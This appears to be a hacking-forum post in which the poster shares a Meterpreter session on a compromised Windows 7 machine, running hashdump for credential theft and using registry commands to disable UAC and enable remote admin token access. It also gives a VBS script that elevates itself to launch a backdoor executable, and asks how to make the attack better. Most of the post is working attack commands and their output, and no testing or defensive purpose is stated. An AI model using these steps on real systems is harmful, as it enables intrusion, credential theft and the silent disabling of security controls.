thanks will check that out now.. using VBS to elevate and install a backdoor gets me this effect.. damn UAC appears to be blocking even SYSTEM from having fun??! is this anyone elses experience?
Code:
meterpreter > sysinfo
Computer: WIN-MSUB6TKFKFA
OS : Windows 7 (Build 7600, ).
Arch : x86
Language: en_US
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > migrate 467
meterpreter > hashdump
just another way to do the same things this can be done a lot of ways...
meterpreter > shell
Process 268 created.
Channel 10 created.
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
The operation completed successfully.
update:
after checking out that link.. interesting no need for the user to click "hack me please" I will check this out in more detail
BTW my elevation script is as follows... the only down side is UAC asks if "wscript host" can have rights... suppose you could also do this with MSI or nullsoft installer
Code:
If WScript.Arguments.length =0 Then
'rerun the script with elevated UAC and prevent a loop
Set objShell = CreateObject("Shell.Application")
objShell.ShellExecute WScript.FullName, WScript.ScriptFullName & " noloop", vbNullString, "runas"
Else
Set objShell = WScript.CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
'locate the current path of the scrip
strPath = Wscript.ScriptFullName
Set objFile = objFSO.GetFile(strPath)
strFolder = objFSO.GetParentFolderName(objFile)
'script to run in elevated UAC here
objShell.Run(strFolder & "\" & "backup.exe")
End If
after some thinking on this ...we then need to to patch UAC and reboot the box...
again this is done any way.. just using DOS to keep it simple
Code:
C:\>whoami
whoami
nt authority\system
C:\>C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
The operation completed successfully.
C:\>C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
C:\Windows\System32\cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
The operation completed successfully.
C:\>shutdown /l /f
shutdown /l /f
C:\>[*] Meterpreter session 2 closed. Reason: Died
any thoughts on how to do (all of this) this better? (the attack not the reg edits.. I will eventually .rb script that stuff.